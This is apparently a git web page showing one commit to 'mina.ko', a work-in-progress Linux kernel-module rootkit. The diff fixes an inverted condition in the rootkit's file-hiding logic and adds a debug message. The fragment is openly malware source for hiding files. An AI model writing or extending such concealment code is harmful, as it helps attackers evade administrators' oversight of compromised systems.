mina.ko.git


mina.ko

~ (wip)LKM rootkit for 6.1+ kernels
git clone https://github.com/djnnvx/mina.ko.git
log | files | refs | archive | README | LICENSE

commit 10e085f15f88869ef100f5208199a027d790a084
parent e098a64bec1748d8e5a41a7404f6067895878953
Author: djnn <[email protected]>
Date: Sun, 28 Sep 2025 20:58:38 +0200

fix: silly condition error

Diffstat:
Mrootkit/sources/stealth.c | 4+++-

1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/rootkit/sources/stealth.c b/rootkit/sources/stealth.c
@@ -38,6 +38,8 @@ static void file_hide(char *name) {
     _file = kmalloc(sizeof(*_file), GFP_KERNEL);
     if (!_file)
         return;
+    /* FIXME(djnn): this doesn't pass ? */
+    printk(KERN_INFO "[mina] kmalloc OK\n");
     _file->name = name;
     list_add(&_file->list, &hide_files);
 }
@@ -60,7 +62,7 @@ static int toggle_hide_file(void) {
     if (*module_name == 0) {
         module_param_string(charp, module_name, 512, S_IRUSR);
     }
-    if (file_lookup_hidelist(module_name)) {
+    if (!file_lookup_hidelist(module_name)) {
         printk(KERN_INFO "[mina] hiding file\n");
         file_hide(module_name);
     } else {